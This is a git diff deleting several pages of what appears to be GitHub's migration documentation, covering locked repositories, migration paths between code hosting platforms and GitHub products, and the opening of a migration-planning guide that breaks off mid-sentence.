b/content/migrations/overview/about-locked-repositories.md deleted file mode 100644 index e6b36e30983b..000000000000 --- a/content/migrations/overview/about-locked-repositories.md +++ /dev/null @@ -1,74 +0,0 @@ ---- -title: About locked repositories -shortTitle: Locked repositories -intro: Repositories can be locked to prevent changes, often for migrations. -versions: - fpt: '*' - ghes: '*' - ghec: '*' ---- - -## About locked repositories - -When you migrate repositories to or from {% data variables.product.prodname_dotcom %} products, your origin and destination repositories may be “locked” for migration. While a repository is locked, you cannot make any changes to the repository, such as pushing commits, creating issues, or commenting on pull requests. - -Whether your repositories will be locked during migration depends on the tooling you use and the options you choose when you run the migration. When a repository is locked, a banner with the following text is displayed on the repository's page on {% data variables.product.prodname_dotcom %}: - -> This repository is currently being migrated. It's locked while the migration is in progress. - -{% ifversion ghes %} -Site administrators may also lock repositories for other reasons besides migrations. -{% endif %} - -Often, repositories are unlocked automatically when the migration is complete. In other cases, unlocking a repository is a manual step, and the process required to unlock a repository depends on the migration tool you used. - -## Repositories locked by {% data variables.product.prodname_importer_proper_name %} - -While a migration is in progress, access to the destination repository is locked by {% data variables.product.prodname_importer_proper_name %}. If the migration completes successfully, the repository will unlock automatically. However, if there's a problem with the migration, including a migration failure, the repository may remain locked. - -{% data variables.product.prodname_importer_proper_name %} does not lock source repositories by default. Source repositories will only be locked if you specify the `--lock-source-repo` option in the {% data variables.product.prodname_cli %}, or the `lockSource` attribute in the `startRepositoryMigration` GraphQL mutation. - -> [!NOTE] -> We do not recommend locking source repositories unless you are certain you will not want to unlock them later. Consider archiving the repositories instead. For more information, see [AUTOTITLE](/repositories/archiving-a-github-repository/archiving-repositories). - -For information about how to unlock repositories that were locked by {% data variables.product.prodname_importer_proper_name %}, see [AUTOTITLE](/migrations/using-github-enterprise-importer/completing-your-migration-with-github-enterprise-importer/troubleshooting-your-migration-with-github-enterprise-importer#locked-repositories). - -## Repositories locked by the "Organization migrations" REST API - -When you call the [Start an organization migration](/rest/migrations/orgs#start-an-organization-migration) endpoint to generate a migration archive for a source repository, the repository is not locked by default. The repository is only locked if you set the `lock_repositories` parameter to `true`. - -If you lock a repository via this endpoint, you can unlock the repository using the [Unlock an organization repository](/rest/migrations/orgs#unlock-an-organization-repository) endpoint. - -If the repository is stored on {% data variables.product.prodname_ghe_server %}, a site administrator can also unlock the repository using the site admin dashboard. For more information, see [AUTOTITLE]({% ifversion not ghes %}/enterprise-server@latest{% endif %}/admin/user-management/managing-repositories-in-your-enterprise/locking-a-repository){% ifversion ghes %}.{% else %} in the {% data variables.product.prodname_ghe_server %} documentation.{% endif %} - -## Repositories locked by `ghe-migrator` - -When you use `ghe-migrator`, the destination repository on {% data variables.product.prodname_ghe_server %} is locked by default and is not automatically unlocked. - -If the import succeeded, you can unlock the repository with the `ghe-migrator unlock` command. For more information, see [AUTOTITLE](/migrations/using-ghe-migrator/migrating-data-to-github-enterprise-server#unlocking-repositories-on-the-target-instance). - -If the import failed, not all of your data has been migrated, and we recommend deleting the repository and retrying the migration, to prevent data loss. - -If you're sure you want to use the repository, a site administrator can unlock the repository using the site admin dashboard. For more information, see [AUTOTITLE]({% ifversion not ghes %}/enterprise-server@latest{% endif %}/admin/user-management/managing-repositories-in-your-enterprise/locking-a-repository){% ifversion ghes %}.{% else %} in the {% data variables.product.prodname_ghe_server %} documentation.{% endif %} - -The source repository is not locked by default, only if the `--lock` argument is specified when preparing the repository for export with the `ghe-migrator add` command. To unlock the repository, use the `ghe-migrator unlock` command. For more information, see [AUTOTITLE](/migrations/using-ghe-migrator/migrating-data-to-github-enterprise-server#unlocking-repositories-on-the-source). - -## Repositories locked by Enterprise Cloud Importer - -When you use Enterprise Cloud Importer, the destination repository is locked by default and is not automatically unlocked. - -If the import succeeded, you can unlock the repository by clicking the **Unlock** button in Enterprise Cloud Importer. - -If the import failed, you cannot unlock the repository yourself. Because a failed migration means that not all of your data has been migrated, we recommend deleting the repository and retrying the migration, to prevent data loss. - -If you’re sure you want to unlock the repository, contact {% data variables.contact.contact_support %}. - -## Repositories locked by the `startImport` GraphQL mutation - -When you use the `startImport` GraphQL mutation, the destination repository is locked by default and is not automatically unlocked. - -If the import succeeded, you can unlock the repository with the `unlockImportedRepositories` GraphQL mutation. For documentation, contact your Expert Services or {% data variables.product.prodname_dotcom %} Partner representative. - -If the import failed, you cannot unlock the repository yourself. Because a failed migration means that not all of your data has been migrated, we recommend deleting the repository and retrying the migration, to prevent data loss. - -If you’re sure you want to unlock the repository, contact {% data variables.contact.contact_support %}. diff --git a/content/migrations/overview/index.md b/content/migrations/overview/index.md deleted file mode 100644 index 49f4a15d8c8e..000000000000 --- a/content/migrations/overview/index.md +++ /dev/null @@ -1,14 +0,0 @@ ---- -title: Overview -intro: "Learn about {% data variables.product.company_short %}'s migration tooling options and how to plan your migration." -versions: - fpt: '*' - ghes: '*' - ghec: '*' -children: - - /about-githubs-migration-tooling - - /planning-your-migration-to-github - - /migration-paths-to-github - - /about-locked-repositories - - /programmatically-importing-repositories ---- diff --git a/content/migrations/overview/migration-paths-to-github.md b/content/migrations/overview/migration-paths-to-github.md deleted file mode 100644 index 1beee3bc3a38..000000000000 --- a/content/migrations/overview/migration-paths-to-github.md +++ /dev/null @@ -1,405 +0,0 @@ ---- -title: Migration paths to GitHub -shortTitle: Migration paths -intro: 'See an overview of the paths available for migration to {% data variables.product.prodname_dotcom %} from other products, or between {% data variables.product.prodname_dotcom %} products.' -versions: - fpt: '*' - ghes: '*' - ghec: '*' ---- - -## About migration paths to {% data variables.product.prodname_dotcom %} - -{% data reusables.migrations.about-migrations %} - -{% data reusables.migrations.about-migration-paths %} For some migration paths, we offer specialist tools that allow you to migrate source, history, and metadata. For others, you'll need to perform a simpler "source and history" or "source snapshot" migration. - -Some migration paths require tools that are only available with expert-led migrations. For more information, contact your account manager on {% data variables.contact.contact_enterprise_sales %} or see the [{% data variables.product.prodname_expert_services %}](https://github.com/services/) website. - -In our recommendations, we'll assume that you want the highest level of fidelity if possible, which includes source, history, and metadata. - -## Migrations to {% data variables.product.prodname_dotcom_the_website %} - -You can review the scope and tooling for your migration to {% data variables.product.prodname_dotcom_the_website %}, which includes migrations to {% data variables.product.prodname_ghe_cloud %}. You can also review any additional information or caveats. - -* [{% data variables.product.prodname_ghe_server %} 3.4.1 or newer to {% data variables.product.prodname_dotcom_the_website %}](#github-enterprise-server-341-or-newer-to-githubcom) -* [{% data variables.product.prodname_ghe_server %} 3.4.0 or older to {% data variables.product.prodname_dotcom_the_website %}](#github-enterprise-server-340-or-older-to-githubcom) -* [{% data variables.product.prodname_dotcom_the_website %} to {% data variables.product.prodname_dotcom_the_website %}](#githubcom-to-githubcom) -* [Azure DevOps Services (Azure DevOps Cloud) to {% data variables.product.prodname_dotcom_the_website %}](#azure-devops-services-azure-devops-cloud-to-githubcom) -* [Azure DevOps Server to {% data variables.product.prodname_dotcom_the_website %}](#azure-devops-server-to-githubcom) -* [Bitbucket Cloud (Bitbucket.org) to {% data variables.product.prodname_dotcom_the_website %}](#bitbucket-cloud-bitbucketorg-to-githubcom) -* [Bitbucket Server or Bitbucket Data Center to {% data variables.product.prodname_dotcom_the_website %}](#bitbucket-server-or-bitbucket-data-center-to-githubcom) -* [GitLab to {% data variables.product.prodname_dotcom_the_website %}](#gitlab-to-githubcom) -* [Any Git repository to {% data variables.product.prodname_dotcom_the_website %}](#any-git-repository-to-githubcom) -* [Any Mercurial repository to {% data variables.product.prodname_dotcom_the_website %}](#any-mercurial-repository-to-githubcom) -* [Any Subversion (SVN) repository to {% data variables.product.prodname_dotcom_the_website %}](#any-subversion-svn-repository-to-githubcom) -* [Any Team Foundation Version Control (TFVC) repository to {% data variables.product.prodname_dotcom_the_website %}](#any-team-foundation-version-control-tfvc-repository-to-githubcom) -* [Any Perforce repository to {% data variables.product.prodname_dotcom_the_website %}](#any-perforce-repository-to-githubcom) -* [Any other repository to {% data variables.product.prodname_dotcom_the_website %}](#any-other-repository-to-githubcom) -* [{% data variables.enterprise.data_residency_site %} to {% data variables.product.prodname_dotcom_the_website %}](#ghecom-to-githubcom) - -### {% data variables.product.prodname_ghe_server %} 3.4.1 or newer to {% data variables.product.prodname_dotcom_the_website %} - -* **Scope:** Source, history, and metadata -* **Tooling:** {% data variables.product.prodname_importer_proper_name %} -* **More information:** - * [AUTOTITLE](/migrations/using-github-enterprise-importer) - * [{% data variables.product.prodname_expert_services %}](https://github.com/services/) website -* **Caveats:** - * {% data reusables.migrations.large-repositories-require-expert-services %} - * {% data reusables.migrations.migration-instructions-for-any-git-repository-to-githubcom %} - -### {% data variables.product.prodname_ghe_server %} 3.4.0 or older to {% data variables.product.prodname_dotcom_the_website %} - -* **Scope:** Source, history, and metadata -* **Tooling:** {% data variables.product.prodname_importer_proper_name %} -* **More information:** - * [AUTOTITLE](/migrations/using-github-enterprise-importer) - * [{% data variables.product.prodname_expert_services %}](https://github.com/services/) website -* **Caveats:** - * {% data reusables.migrations.large-repositories-require-expert-services %} - * {% data reusables.migrations.migration-instructions-for-any-git-repository-to-githubcom %} - -### {% data variables.product.prodname_dotcom_the_website %} to {% data variables.product.prodname_dotcom_the_website %} - -Migrations from {% data variables.product.prodname_dotcom_the_website %} include {% data variables.product.prodname_ghe_cloud %}. This path includes adoption of {% data variables.product.prodname_emus %} or a move between managed enterprises. - -* **Scope:** Source, history, and metadata -* **Tooling:** {% data variables.product.prodname_importer_proper_name %} or {% data variables.product.prodname_expert_services %} -* **More information:** - * [AUTOTITLE](/migrations/using-github-enterprise-importer) - * [{% data variables.product.prodname_expert_services %}](https://github.com/services/) website -* **Caveats:** - * {% data reusables.migrations.large-repositories-require-expert-services %} - * {% data reusables.migrations.migration-instructions-for-any-git-repository-to-githubcom %} - -### Azure DevOps Services (Azure DevOps Cloud) to {% data variables.product.prodname_dotcom_the_website %} - -* **Scope:** Source, history, and metadata -* **Tooling:** {% data variables.product.prodname_importer_proper_name %} -* **More information:** [AUTOTITLE](/migrations/using-github-enterprise-importer) - -### Azure DevOps Server to {% data variables.product.prodname_dotcom_the_website %} - -* **Scope:** Source, history, and metadata -* **Tooling:** Migration to Azure DevOps Services, then {% data variables.product.prodname_importer_proper_name %} -* **More information:** - * [Migrate data from Azure DevOps Server to Azure DevOps Services](https://learn.microsoft.com/en-us/azure/devops/migrate/migration-overview?view=azure-devops) in the Microsoft Docs - * [AUTOTITLE](/migrations/using-github-enterprise-importer) -* **Caveats:** If you can't migrate to Azure DevOps Services first, you must perform a "source and history" migration instead. For more information, [Migrations from any Git repository to {% data variables.product.prodname_dotcom_the_website %}](#any-git-repository-to-githubcom). - -### Bitbucket Cloud (Bitbucket.org) to {% data variables.product.prodname_dotcom_the_website %} - -* **Scope:** Source and history -* **Tooling:** Git CLI or {% data variables.product.prodname_importer %} -* **More information:** - * [AUTOTITLE](/migrations/importing-source-code/using-the-command-line-to-import-source-code/importing-an-external-git-repository-using-the-command-line) - * [AUTOTITLE]({% ifversion ghes %}/free-pro-team@latest{% endif %}/migrations/importing-source-code/using-github-importer/about-github-importer) - -### Bitbucket Server or Bitbucket Data Center to {% data variables.product.prodname_dotcom_the_website %} - -* **Scope:** Source, history, and metadata -* **Tooling:** {% data variables.product.prodname_importer_proper_name %} -* **More information:** - * [AUTOTITLE](/migrations/using-github-enterprise-importer) - * [{% data variables.product.prodname_expert_services %}](https://github.com/services/) website -* **Caveats:** - * For complex repositories larger than around 5 GB, you may need to use `bbs-exporter` and Enterprise Cloud Importer instead. Enterprise Cloud Importer is only available for expert-led migrations. - * {% data reusables.migrations.migration-instructions-for-any-git-repository-to-githubcom %} - -### GitLab to {% data variables.product.prodname_dotcom_the_website %} - -* **Scope:** Source, history, and metadata -* **Tooling:** `gl-exporter`, then Enterprise Cloud Importer (expert-led migrations only) -* **More information:** [{% data variables.product.prodname_expert_services %}](https://github.com/services/) website -* **Caveats:** - * Enterprise Cloud Importer is only available for expert-led migrations. - * {% data reusables.migrations.migration-instructions-for-any-git-repository-to-githubcom %} - -### Any Git repository to {% data variables.product.prodname_dotcom_the_website %} - -* **Scope:** Source and history -* **Tooling:** Git CLI or {% data variables.product.prodname_importer %} if the repository is accessible over the public internet -* **More information:** - * [AUTOTITLE](/migrations/importing-source-code/using-the-command-line-to-import-source-code/importing-an-external-git-repository-using-the-command-line) - * [AUTOTITLE]({% ifversion ghes %}/free-pro-team@latest{% endif %}/migrations/importing-source-code/using-github-importer/about-github-importer) - -### Any Mercurial repository to {% data variables.product.prodname_dotcom_the_website %} - -* **Scope:** Source and history -* **Tooling:** Mercurial, Git CLI, and Python -* **More information:** [AUTOTITLE](/migrations/importing-source-code/using-the-command-line-to-import-source-code/importing-a-mercurial-repository) - -### Any Subversion (SVN) repository to {% data variables.product.prodname_dotcom_the_website %} - -* **Scope:** Source and history -* **Tooling:** Subversion and Git CLI -* **More information:** [AUTOTITLE](/migrations/importing-source-code/using-the-command-line-to-import-source-code/importing-a-subversion-repository) - -### Any Team Foundation Version Control (TFVC) repository to {% data variables.product.prodname_dotcom_the_website %} - -* **Scope:** Source and history -* **Tooling:** Azure Repos, then Git CLI -* **More information:** [AUTOTITLE](/migrations/importing-source-code/using-the-command-line-to-import-source-code/importing-a-team-foundation-version-control-repository) - -### Any Perforce repository to {% data variables.product.prodname_dotcom_the_website %} - -* **Scope:** Source and history -* **Tooling:** `git-p4`, then Git CLI -* **More information:** - * [git-p4](https://git-scm.com/docs/git-p4) in the Git documentation - * [AUTOTITLE](/migrations/importing-source-code/using-the-command-line-to-import-source-code/adding-locally-hosted-code-to-github#importing-a-git-repository-with-the-command-line) - -### Any other repository to {% data variables.product.prodname_dotcom_the_website %} - -* **Scope:** Source snapshot -* **Tooling:** {% data variables.product.prodname_cli %} or Git CLI -* **More information:** [AUTOTITLE](/migrations/importing-source-code/using-the-command-line-to-import-source-code/adding-locally-hosted-code-to-github) - -### {% data variables.enterprise.data_residency_site %} to {% data variables.product.prodname_dotcom_the_website %} - -This path is not currently supported with our official tools. Please contact {% data variables.product.prodname_expert_services %}. - -## Migrations to {% data variables.enterprise.data_residency_site %} - -If you're migrating to {% data variables.enterprise.data_residency %}, your migration destination is {% data variables.enterprise.data_residency_site %}. - -Migrations to {% data variables.enterprise.data_residency_site %} use similar tools as migrations to {% data variables.product.prodname_dotcom_the_website %}. However, the {% data variables.product.prodname_importer %} and Enterprise Cloud Importer are not available. - -Follow a link below to review the scope and tooling for your migration to {% data variables.enterprise.data_residency_site %}, plus any additional information or caveats. - -* [{% data variables.product.prodname_ghe_server %} 3.4.1 or newer to {% data variables.enterprise.data_residency_site %}](#github-enterprise-server-341-or-newer-to-ghecom) -* [{% data variables.product.prodname_ghe_server %} 3.4.0 or older to {% data variables.enterprise.data_residency_site %}](#github-enterprise-server-340-or-older-to-ghecom) -* [{% data variables.product.prodname_dotcom_the_website %} to {% data variables.enterprise.data_residency_site %}](#githubcom-to-ghecom) -* [Azure DevOps Services (Azure DevOps Cloud) to {% data variables.enterprise.data_residency_site %}](#azure-devops-services-azure-devops-cloud-to-ghecom) -* [Azure DevOps Server to {% data variables.enterprise.data_residency_site %}](#azure-devops-server-to-ghecom) -* [Bitbucket Cloud (Bitbucket.org) to {% data variables.enterprise.data_residency_site %}](#bitbucket-cloud-bitbucketorg-to-ghecom) -* [Bitbucket Server or Bitbucket Data Center to {% data variables.enterprise.data_residency_site %}](#bitbucket-server-or-bitbucket-data-center-to-ghecom) -* [GitLab to {% data variables.enterprise.data_residency_site %}](#gitlab-to-ghecom) -* [Any Git repository to {% data variables.enterprise.data_residency_site %}](#any-git-repository-to-githubcom) -* [Any Mercurial repository to {% data variables.enterprise.data_residency_site %}](#any-mercurial-repository-to-ghecom) -* [Any Subversion (SVN) repository to {% data variables.enterprise.data_residency_site %}](#any-subversion-svn-repository-to-ghecom) -* [Any Team Foundation Version Control (TFVC) repository to {% data variables.enterprise.data_residency_site %}](#any-team-foundation-version-control-tfvc-repository-to-ghecom) -* [Any Perforce repository to {% data variables.enterprise.data_residency_site %}](#any-perforce-repository-to-ghecom) -* [Any other repository to {% data variables.enterprise.data_residency_site %}](#any-other-repository-to-ghecom) - -### {% data variables.product.prodname_ghe_server %} 3.4.1 or newer to {% data variables.enterprise.data_residency_site %} - -* **Scope:** Source, history, and metadata -* **Tooling:** {% data variables.product.prodname_importer_proper_name %} -* **More information:** - * [AUTOTITLE](/migrations/using-github-enterprise-importer) - * [{% data variables.product.prodname_expert_services %}](https://github.com/services/) website -* **Caveats:** - * {% data reusables.migrations.large-repositories-require-expert-services-ghecom %} - * {% data reusables.migrations.migration-instructions-for-any-git-repository-to-ghecom %} - -### {% data variables.product.prodname_ghe_server %} 3.4.0 or older to {% data variables.enterprise.data_residency_site %} - -* **Scope:** Source, history, and metadata -* **Tooling:** {% data variables.product.prodname_importer_proper_name %} -* **More information:** - * [AUTOTITLE](/migrations/using-github-enterprise-importer) - * [{% data variables.product.prodname_expert_services %}](https://github.com/services/) website -* **Caveats:** - * {% data reusables.migrations.large-repositories-require-expert-services-ghecom %} - * {% data reusables.migrations.migration-instructions-for-any-git-repository-to-ghecom %} - -### {% data variables.product.prodname_dotcom_the_website %} to {% data variables.enterprise.data_residency_site %} - -* **Scope:** Source, history, and metadata -* **Tooling:** {% data variables.product.prodname_importer_proper_name %} or {% data variables.product.prodname_expert_services %} -* **More information:** - * [AUTOTITLE](/migrations/using-github-enterprise-importer) - * [{% data variables.product.prodname_expert_services %}](https://github.com/services/) website -* **Caveats:** - * {% data reusables.migrations.large-repositories-require-expert-services-ghecom %} - * {% data reusables.migrations.migration-instructions-for-any-git-repository-to-ghecom %} - -### Azure DevOps Services (Azure DevOps Cloud) to {% data variables.enterprise.data_residency_site %} - -* **Scope:** Source, history, and metadata -* **Tooling:** {% data variables.product.prodname_importer_proper_name %} -* **More information:** [AUTOTITLE](/migrations/using-github-enterprise-importer) - -### Azure DevOps Server to {% data variables.enterprise.data_residency_site %} - -* **Scope:** Source, history, and metadata -* **Tooling:** Migration to Azure DevOps Services, then {% data variables.product.prodname_importer_proper_name %} -* **More information:** - * [Migrate data from Azure DevOps Server to Azure DevOps Services](https://learn.microsoft.com/en-us/azure/devops/migrate/migration-overview?view=azure-devops) in the Microsoft Docs - * [AUTOTITLE](/migrations/using-github-enterprise-importer) -* **Caveats:** If you can't migrate to Azure DevOps Services first, you must perform a "source and history" migration instead. For more information, see [Migrations from any Git repository to {% data variables.enterprise.data_residency_site %}](#any-git-repository-to-githubcom). - -### Bitbucket Cloud (Bitbucket.org) to {% data variables.enterprise.data_residency_site %} - -* **Scope:** Source and history -* **Tooling:** Git CLI -* **More information:** - * [AUTOTITLE](/migrations/importing-source-code/using-the-command-line-to-import-source-code/importing-an-external-git-repository-using-the-command-line) - -### Bitbucket Server or Bitbucket Data Center to {% data variables.enterprise.data_residency_site %} - -* **Scope:** Source, history, and metadata -* **Tooling:** {% data variables.product.prodname_importer_proper_name %} -* **More information:** - * [AUTOTITLE](/migrations/using-github-enterprise-importer) - * [{% data variables.product.prodname_expert_services %}](https://github.com/services/) website -* **Caveats:** - * {% data reusables.migrations.large-repositories-require-expert-services-ghecom %} - * {% data reusables.migrations.migration-instructions-for-any-git-repository-to-ghecom %} - -### GitLab to {% data variables.enterprise.data_residency_site %} - -* **Scope:** Source, history, and metadata -* **Tooling:** Contact {% data variables.product.prodname_expert_services %} -* **More information:** [{% data variables.product.prodname_expert_services %}](https://github.com/services/) website -* **Caveats:** - * {% data reusables.migrations.migration-instructions-for-any-git-repository-to-ghecom %} - -### Any Git repository to {% data variables.enterprise.data_residency_site %} - -* **Scope:** Source and history -* **Tooling:** Git CLI -* **More information:** - * [AUTOTITLE](/migrations/importing-source-code/using-the-command-line-to-import-source-code/importing-an-external-git-repository-using-the-command-line) - -### Any Mercurial repository to {% data variables.enterprise.data_residency_site %} - -* **Scope:** Source and history -* **Tooling:** Mercurial, Git CLI, and Python -* **More information:** [AUTOTITLE](/migrations/importing-source-code/using-the-command-line-to-import-source-code/importing-a-mercurial-repository) - -### Any Subversion (SVN) repository to {% data variables.enterprise.data_residency_site %} - -* **Scope:** Source and history -* **Tooling:** Subversion and Git CLI -* **More information:** [AUTOTITLE](/migrations/importing-source-code/using-the-command-line-to-import-source-code/importing-a-subversion-repository) - -### Any Team Foundation Version Control (TFVC) repository to {% data variables.enterprise.data_residency_site %} - -* **Scope:** Source and history -* **Tooling:** Azure Repos, then Git CLI -* **More information:** [AUTOTITLE](/migrations/importing-source-code/using-the-command-line-to-import-source-code/importing-a-team-foundation-version-control-repository) - -### Any Perforce repository to {% data variables.enterprise.data_residency_site %} - -* **Scope:** Source and history -* **Tooling:** `git-p4`, then Git CLI -* **More information:** - * [git-p4](https://git-scm.com/docs/git-p4) in the Git documentation - * [AUTOTITLE](/migrations/importing-source-code/using-the-command-line-to-import-source-code/adding-locally-hosted-code-to-github#importing-a-git-repository-with-the-command-line) - -### Any other repository to {% data variables.enterprise.data_residency_site %} - -* **Scope:** Source snapshot -* **Tooling:** {% data variables.product.prodname_cli %} or Git CLI -* **More information:** [AUTOTITLE](/migrations/importing-source-code/using-the-command-line-to-import-source-code/adding-locally-hosted-code-to-github) - -## Migrations to {% data variables.product.prodname_ghe_server %} - -You can review the scope and tooling for your migration to {% data variables.product.prodname_ghe_server %}, including any additional information or caveats. - -* [{% data variables.product.prodname_dotcom_the_website %} to {% data variables.product.prodname_ghe_server %}](#githubcom-to-github-enterprise-server) -* [{% data variables.product.prodname_ghe_server %} to {% data variables.product.prodname_ghe_server %}](#github-enterprise-server-to-github-enterprise-server) -* [Azure DevOps to {% data variables.product.prodname_ghe_server %}](#azure-devops-to-github-enterprise-server) -* [Bitbucket Cloud (Bitbucket.org) to {% data variables.product.prodname_ghe_server %}](#bitbucket-cloud-bitbucketorg-to-github-enterprise-server) -* [Bitbucket Server or Bitbucket Data Center to {% data variables.product.prodname_ghe_server %}](#bitbucket-server-or-bitbucket-data-center-to-github-enterprise-server) -* [GitLab to {% data variables.product.prodname_ghe_server %}](#gitlab-to-github-enterprise-server) -* [Any Git repository to {% data variables.product.prodname_ghe_server %}](#any-git-repository-to-github-enterprise-server) -* [Any Mercurial repository to {% data variables.product.prodname_ghe_server %}](#any-mercurial-repository-to-github-enterprise-server) -* [Any Subversion (SVN) repository to {% data variables.product.prodname_ghe_server %}](#any-subversion-svn-repository-to-github-enterprise-server) -* [Any Team Foundation Version Control (TFVC) repository to {% data variables.product.prodname_ghe_server %}](#any-team-foundation-version-control-tfvc-repository-to-github-enterprise-server) -* [Any Perforce repository to {% data variables.product.prodname_ghe_server %}](#any-perforce-repository-to-github-enterprise-server) -* [Any other repository to {% data variables.product.prodname_ghe_server %}](#any-other-repository-to-github-enterprise-server) -* [{% data variables.enterprise.data_residency_site %} to {% data variables.product.prodname_ghe_server %}](#ghecom-to-github-enterprise-server) - -### {% data variables.product.prodname_dotcom_the_website %} to {% data variables.product.prodname_ghe_server %} - -Migrations from {% data variables.product.prodname_dotcom_the_website %} include {% data variables.product.prodname_ghe_cloud %}. - -* **Scope:** Source, history, and metadata -* **Tooling:** Organization migrations API, then `ghe-migrator` -* **More information:** - * [AUTOTITLE](/enterprise-server/migrations/using-ghe-migrator/exporting-migration-data-from-githubcom) - * [AUTOTITLE](/enterprise-server/migrations/using-ghe-migrator/migrating-data-to-github-enterprise-server) - -### {% data variables.product.prodname_ghe_server %} to {% data variables.product.prodname_ghe_server %} - -* **Scope:** Source, history, and metadata -* **Tooling:** Organization migrations API, then `ghe-migrator` -* **More information:** - * [AUTOTITLE](/enterprise-server/migrations/using-ghe-migrator/exporting-migration-data-from-github-enterprise-server) - * [AUTOTITLE](/enterprise-server/migrations/using-ghe-migrator/migrating-data-to-github-enterprise-server) - -### Azure DevOps to {% data variables.product.prodname_ghe_server %} - -* **Scope:** Source and history -* **Tooling:** Git CLI -* **More information:** [AUTOTITLE](/migrations/importing-source-code/using-the-command-line-to-import-source-code/importing-an-external-git-repository-using-the-command-line) - -### Bitbucket Cloud (Bitbucket.org) to {% data variables.product.prodname_ghe_server %} - -* **Scope:** Source and history -* **Tooling:** Git CLI -* **More information:** [AUTOTITLE](/migrations/importing-source-code/using-the-command-line-to-import-source-code/importing-an-external-git-repository-using-the-command-line) - -### Bitbucket Server or Bitbucket Data Center to {% data variables.product.prodname_ghe_server %} - -* **Scope:** Source, history, and metadata -* **Tooling:** `bbs-exporter` (expert-led migrations only), then `ghe-migrator` -* **More information:** - * [{% data variables.product.prodname_expert_services %}](https://github.com/services/) website - * [AUTOTITLE](/enterprise-server/migrations/using-ghe-migrator/migrating-data-to-github-enterprise-server) -* **Caveats:** {% data reusables.migrations.migration-instructions-for-any-git-repository-to-ghes %} - -### GitLab to {% data variables.product.prodname_ghe_server %} - -* **Scope:** Source, history, and metadata -* **Tooling:** `gl-exporter` (expert-led migrations only), then `ghe-migrator` -* **More information:** - * [{% data variables.product.prodname_expert_services %}](https://github.com/services/) website - * [AUTOTITLE](/enterprise-server/migrations/using-ghe-migrator/migrating-data-to-github-enterprise-server) -* **Caveats:** {% data reusables.migrations.migration-instructions-for-any-git-repository-to-ghes %} - -### Any Git repository to {% data variables.product.prodname_ghe_server %} - -* **Scope:** Source and history -* **Tooling:** Git CLI -* **More information:** [AUTOTITLE](/enterprise-server/migrations/importing-source-code/using-the-command-line-to-import-source-code/importing-an-external-git-repository-using-the-command-line) - -### Any Mercurial repository to {% data variables.product.prodname_ghe_server %} - -* **Scope:** Source and history -* **Tooling:** Mercurial, Git CLI, and Python -* **More information:** [AUTOTITLE](/enterprise-server/migrations/importing-source-code/using-the-command-line-to-import-source-code/importing-a-mercurial-repository) - -### Any Subversion (SVN) repository to {% data variables.product.prodname_ghe_server %} - -* **Scope:** Source and history -* **Tooling:** Subversion and Git CLI -* **More information:** [AUTOTITLE](/enterprise-server/migrations/importing-source-code/using-the-command-line-to-import-source-code/importing-a-subversion-repository) - -### Any Team Foundation Version Control (TFVC) repository to {% data variables.product.prodname_ghe_server %} - -* **Scope:** Source and history -* **Tooling:** Azure Repos, then Git CLI -* **More information:** [AUTOTITLE](/enterprise-server/migrations/importing-source-code/using-the-command-line-to-import-source-code/importing-a-team-foundation-version-control-repository) - -### Any Perforce repository to {% data variables.product.prodname_ghe_server %} - -* **Scope:** Source and history -* **Tooling:** `git-p4`, then Git CLI -* **More information:** - * [git-p4](https://git-scm.com/docs/git-p4) in the Git documentation - * [AUTOTITLE](/enterprise-server/migrations/importing-source-code/using-the-command-line-to-import-source-code/adding-locally-hosted-code-to-github#importing-a-git-repository-with-the-command-line) - -### Any other repository to {% data variables.product.prodname_ghe_server %} - -* **Scope:** Source snapshot -* **Tooling:** {% data variables.product.prodname_cli %} or Git CLI -* **More information:** [AUTOTITLE](/migrations/importing-source-code/using-the-command-line-to-import-source-code/adding-locally-hosted-code-to-github) - -### {% data variables.enterprise.data_residency_site %} to {% data variables.product.prodname_ghe_server %} - -This path is not currently supported with our official tools. Please contact {% data variables.product.prodname_expert_services %}. diff --git a/content/migrations/overview/planning-your-migration-to-github.md b/content/migrations/overview/planning-your-migration-to-github.md deleted file mode 100644 index bf58104e2eef..000000000000 --- a/content/migrations/overview/planning-your-migration-to-github.md +++ /dev/null @@ -1,214 +0,0 @@ ---- -title: Planning your migration to GitHub -shortTitle: Plan your migration -intro: 'Learn how to plan and execute a successful migration to {% data variables.product.company_short %} or between {% data variables.product.company_short %} products.' -versions: - fpt: '*' - ghes: '*' - ghec: '*' ---- - -## About migrations - -{% data reusables.migrations.about-migrations %} - -This guide will usher you through planning and executing a successful migration. You’ll learn how to prepare for a migration, the tools that are available to move your data, and how to make your move a success. - -## Migration terminology - -Before using this guide to plan your migration, learn these important terms. - -Term | Definition | ----- | ---------- | -Code hosting platform | The online tool that you use to host your source code repositories and to collaborate, such as {% data variables.product.prodname_ghe_cloud %}, {% data variables.product.prodname_ghe_server %}, Bitbucket Server, and GitLab.com. -Version control system (VCS) | The tool that you use to track and manage changes to your source code on the machine where you’re making those changes.

For example, if you’re using {% data variables.product.prodname_dotcom %} or GitLab as your code hosting platform, you’re using the Git version control system. If you’re using Azure DevOps as your code hosting platform, you could be using either Git or Team Foundation Version Control (TFVC) as the underlying version control system. It's also possible that you aren’t using a VCS at all. -Migration origin | The place you’re migrating from. Usually, this will be a code hosting platform, but it might be your own machine or a shared network drive. -Migration destination | The {% data variables.product.prodname_dotcom %} product that you’re moving to. -Migration path | The combination of your migration origin and migration destination, such as “Bitbucket Server to {% data variables.product.prodname_ghe_cloud %}.”

For certain migration paths, {% data variables.product.company_short %} offers specialist tools, such as {% data variables.product.prodname_importer_proper_name %}, to help you migrate. - -## Defining your migration scope - -Before you can plan your migration, you need to understand what you want to migrate, and when. - -### Defining your origin and destination - -First, determine where you need to move data from. This is usually, but not always, a code hosting platform. - -Your code hosting platform might be a {% data variables.product.prodname_dotcom %} product, such as {% data variables.product.prodname_dotcom_the_website %} or {% data variables.product.prodname_ghe_server %}, or it might be another code hosting platform, such as Bitbucket Server, GitLab, or Azure DevOps. Depending on the size and complexity of your business, you might be using multiple different code hosting platforms. - -If you’re not using a code hosting platform at all, you might be storing your code on a shared network drive, for example. - -Wherever your code lives, that's your "migration origin." - -You’ll also need to know which {% data variables.product.prodname_dotcom %} product you’re migrating to, or your "migration destination." This could be {% data variables.product.prodname_dotcom_the_website %}, {% data variables.enterprise.data_residency_site %}, or {% data variables.product.prodname_ghe_server %}. - -### Building a basic inventory of the repositories you want to migrate - -After you've identified your migration origin and destination, establish what data you need to migrate. - -You should build a migration inventory with a list of all of the repositories in your migration origin(s) that you need to migrate. We recommend using a spreadsheet. As a starting point, you should record the following data for each repository: - -* Name -* Owner: in {% data variables.product.prodname_dotcom %}, this would be an 